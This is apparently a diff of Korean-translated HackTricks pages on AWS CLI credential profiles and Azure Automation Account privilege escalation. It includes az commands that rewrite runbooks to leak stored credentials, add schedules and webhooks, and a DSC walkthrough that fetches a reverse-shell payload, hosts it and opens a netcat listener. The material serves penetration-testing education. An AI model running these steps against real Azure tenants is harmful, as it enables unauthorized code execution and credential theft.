@@ -327,7 +345,7 @@ AWS 아이덴티티 및 접근 관리(IAM)는 AWS 전반에 걸쳐 **세밀한
### CLI 인증
일반 사용자가 CLI를 통해 AWS에 인증하기 위해서는 **로컬 자격 증명**이 필요합니다. 기본적으로 `~/.aws/credentials`에서 **수동으로** 구성하거나 **`aws configure`를 실행하여** 구성할 수 있습니다.\
해당 파일에는 하나 이상의 프로필을 가질 수 있으며, **aws cli**를 사용할 때 **프로필**이 지정되지 않으면 해당 파일의 **`[default]`**라는 프로필이 사용됩니다.\
해당 파일에는 여러 프로필을 가질 수 있으며, **aws cli**를 사용할 때 **프로필**이 지정되지 않으면, 해당 파일에서 **`[default]`**라는 이름의 프로필이 사용됩니다.\
여러 프로필이 있는 자격 증명 파일의 예:
```
[default]
@@ -339,7 +357,7 @@ aws_access_key_id = AKIA8YDCu7TGTR356SHYT
aws_secret_access_key = uOcdhof683fbOUGFYEQuR2EIHG34UY987g6ff7
region = eu-west-2
```
다른 **AWS 계정**에 접근해야 하고 귀하의 프로필이 **해당 계정 내에서 역할을 가정할 수 있는 권한**을 부여받았다면, 매번 수동으로 STS를 호출할 필요가 없습니다 (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) 및 자격 증명을 구성할 필요가 없습니다.
다른 **AWS 계정**에 접근해야 하고 귀하의 프로필이 **해당 계정 내에서 역할을 가정할 수 있는** 권한을 부여받았다면, 매번 수동으로 STS를 호출할 필요가 없습니다 (`aws sts assume-role --role-arn <role-arn> --role-session-name sessname`) 및 자격 증명을 구성할 필요가 없습니다.
`~/.aws/config` 파일을 사용하여 [**가정할 역할을 지정**](https://docs.aws.amazon.com/cli/latest/userguide/cli-configure-role.html)할 수 있으며, 그 후에는 평소처럼 `--profile` 매개변수를 사용할 수 있습니다 (사용자에게는 `assume-role`이 투명하게 수행됩니다).\
구성 파일 예:
@@ -351,16 +369,17 @@ role_session_name = <session_name>
source_profile = <profile_with_assume_role>
sts_regional_endpoints = regional
```
이 구성 파일을 사용하여 aws cli를 다음과 같이 사용할 수 있습니다:
이 구성 파일을 사용하면 aws cli를 다음과 같이 사용할 수 있습니다:
```
aws --profile acc2 ...
```
이와 유사한 것을 **브라우저**용으로 찾고 있다면 **확장 프로그램** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)를 확인해 보세요.
비슷한 것을 **브라우저**용으로 찾고 있다면 **확장 프로그램** [**AWS Extend Switch Roles**](https://chrome.google.com/webstore/detail/aws-extend-switch-roles/jpmkfafbacpgapdghgdpembnojdlgkdl?hl=en)를 확인해 보세요.
## References
- [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_getting-started_concepts.html)
- [https://aws.amazon.com/iam/](https://aws.amazon.com/iam/)
- [https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html](https://docs.aws.amazon.com/singlesignon/latest/userguide/what-is.html)
- [https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/](https://aws.amazon.com/blogs/aws/introducing-resource-control-policies-rcps-a-new-authorization-policy/)
{{#include ../../../banners/hacktricks-training.md}}
src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md
+30 -19
View File
@@ -12,18 +12,29 @@
### Hybrid Workers Group
공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있는 경우, 그는 **VM의 위치로 피벗할 것입니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
- **자동화 계정에서 VM으로**
게다가, 하이브리드 워커가 Azure에서 다른 관리 ID가 연결된 상태로 실행되고 있다면, 런북은 **런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**.
어떤 방법으로든 공격자가 하이브리드 워커에서 임의의 런북(임의 코드)을 실행할 수 있다면, 그는 **VM의 위치로 피벗할 수 있습니다**. 이는 온프레미스 머신, 다른 클라우드의 VPC 또는 Azure VM일 수 있습니다.
게다가, 하이브리드 워커가 Azure에서 다른 관리 ID와 함께 실행되고 있다면, 런북은 **런북의 관리 ID와 VM의 모든 관리 ID에 접근할 수 있습니다**.
> [!TIP]
> **메타데이터 서비스**는 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
> **메타데이터 서비스**는 자동화 계정의 관리 ID 토큰을 가져오는 서비스와 다른 URL (**`http://169.254.169.254`**)을 가지고 있다는 점을 기억하세요 (**`IDENTITY_ENDPOINT`**).
- **VM에서 자동화 계정으로**
게다가, 누군가 자동화 계정 스크립트가 실행되고 있는 VM을 손상시키면, 그는 **자동화 계정** 메타데이터를 찾고 VM에서 접근하여 **자동화 계정에 연결된 관리 ID**에 대한 토큰을 얻을 수 있습니다.
다음 이미지에서 볼 수 있듯이, VM에 대한 관리자 접근 권한이 있으면 **프로세스의 환경 변수**에서 자동화 계정 메타데이터 서비스에 접근하기 위한 URL과 비밀을 찾을 수 있습니다:
![](</images/vm_to_aa.jpg>)
### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`)
요약하자면, 이러한 권한은 **Automation Account에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **Automation Account의 컨텍스트에서 코드를 실행**하고 할당된 **Managed Identities**에 대한 권한을 상승시키며 **자격 증명**과 **암호화된 변수**를 Automation Account에 저장된 상태로 유출할 수 있습니다.
요약하자면, 이러한 권한은 **자동화 계정에서 런북을 생성, 수정 및 실행**할 수 있게 하며, 이를 통해 **자동화 계정의 컨텍스트에서 코드를 실행**하고 할당된 **관리 ID**에 대한 권한을 상승시키며 **자격 증명**과 **암호화된 변수**를 자동화 계정에 저장된 상태로 유출할 수 있습니다.
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 Automation Account에서 런북의 코드를 수정할 수 있게 해줍니다:
권한 **`Microsoft.Automation/automationAccounts/runbooks/draft/write`**는 자동화 계정에서 런북의 코드를 수정할 수 있게 해줍니다:
```bash
# Update the runbook content with the provided PowerShell script
az automation runbook replace-content --no-wait \
@@ -38,7 +49,7 @@ $creds.GetNetworkCredential().password'
```
이전 스크립트를 사용하여 **사용자 이름과 비밀번호**를 **leak**하고 Automation Account에 저장된 **암호화된 변수**의 값을 얻을 수 있음을 주목하십시오.
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`**은 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다.
권한 **`Microsoft.Automation/automationAccounts/runbooks/publish/action`**은 사용자가 Automation Account에서 Runbook을 게시할 수 있도록 하여 변경 사항이 적용되도록 합니다:
```bash
az automation runbook publish \
--resource-group <res-group> \
@@ -80,7 +91,7 @@ az rest --method PATCH \
```
### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write`
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다 (그리 은밀하지 않음).
권한 **`Microsoft.Automation/automationAccounts/schedules/write`**를 사용하면 다음 명령을 사용하여 15분마다 실행되는 새로운 스케줄을 자동화 계정에 생성할 수 있습니다(그리 은밀하지 않음).
스케줄의 **최소 간격은 15분**이며, **최소 시작 시간은 5분** 후입니다.
```bash
@@ -104,7 +115,7 @@ az automation schedule create \
--frequency Minute \
--interval 15
```
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 runbook에 Scheduler를 할당할 수 있습니다:
그런 다음, 권한 **`Microsoft.Automation/automationAccounts/jobSchedules/write`**를 사용하여 다음을 통해 런북에 스케줄러를 할당할 수 있습니다:
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automation-accounts>/jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \
@@ -129,7 +140,7 @@ az rest --method PUT \
권한 **`Microsoft.Automation/automationAccounts/webhooks/write`**를 사용하면 다음 명령어를 통해 Automation Account 내의 Runbook에 대한 새로운 Webhook을 생성할 수 있습니다.
웹훅 URI와 사용할 토큰을 **지정해야** 한다는 점에 유의하세요.
웹훅 URI를 **지정해야** 하며, 사용할 토큰을 포함해야 합니다.
```bash
az rest --method PUT \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Automation/automationAccounts/<automantion-account-name>/webhooks/<webhook-name>?api-version=2018-06-30" \
@@ -179,7 +190,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e-
```
### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`)
이 권한은 사용자가 다음과 같은 명령을 사용하여 Automation Account에 대한 **소스 제어를 구성**할 수 있도록 허용합니다(이 예에서는 Github를 사용합니다):
이 권한은 사용자가 다음과 같은 명령을 사용하여 Automation Account에 대한 **소스 제어를 구성**할 수 있도록 허용합니다(여기서는 Github을 예로 사용합니다):
```bash
az automation source-control create \
--resource-group <res-group> \
@@ -217,29 +228,29 @@ az rest --method PUT \
}
}'
```
### Custom Runtime Environments
### 사용자 정의 런타임 환경
자동화 계정이 사용자 정의 런타임 환경을 사용하는 경우, 런타임의 사용자 정의 패키지를 악성 코드(예: **백도어**)로 덮어쓸 수 있습니다. 이렇게 하면 해당 사용자 정의 런타임을 사용하는 런북이 실행되고 사용자 정의 패키지를 로드할 때 악성 코드가 실행됩니다.
### Compromising State Configuration
### 상태 구성 손상
**전체 게시물을 확인하세요:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**전체 게시물 확인:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
- Step 1 — Create Files
- 단계 1 — 파일 생성
**필요한 파일:** 두 개의 PowerShell 스크립트가 필요합니다:
1. `reverse_shell_config.ps1`: 페이로드를 가져와 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
1. `reverse_shell_config.ps1`: 페이로드를 가져오고 실행하는 Desired State Configuration (DSC) 파일입니다. [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1)에서 얻을 수 있습니다.
2. `push_reverse_shell_config.ps1`: VM에 구성을 게시하는 스크립트로, [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1)에서 사용할 수 있습니다.
**사용자 정의:** 이 파일의 변수와 매개변수는 리소스 이름, 파일 경로 및 서버/페이로드 식별자를 포함하여 사용자의 특정 환경에 맞게 조정해야 합니다.
- Step 2 — Zip Configuration File
- 단계 2 — 구성 파일 압축
`reverse_shell_config.ps1`는 Azure Storage Account로 전송할 준비가 된 `.zip` 파일로 압축됩니다.
`reverse_shell_config.ps1`는 `.zip` 파일로 압축되어 Azure Storage Account로 전송할 준비가 됩니다.
```bash
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
- Step 3 — Storage Context 설정 및 업로드
- Step 3 — 저장소 컨텍스트 설정 및 업로드
압축된 구성 파일은 Azure의 Set-AzStorageBlobContent cmdlet을 사용하여 미리 정의된 Azure Storage 컨테이너인 azure-pentest에 업로드됩니다.
```bash
@@ -259,7 +270,7 @@ wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
- Step 6 — 페이로드 호스팅 및 리스너 설정
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 수신 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
페이로드를 호스팅하기 위해 Python SimpleHTTPServer가 시작되며, 들어오는 연결을 캡처하기 위해 Netcat 리스너가 설정됩니다.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443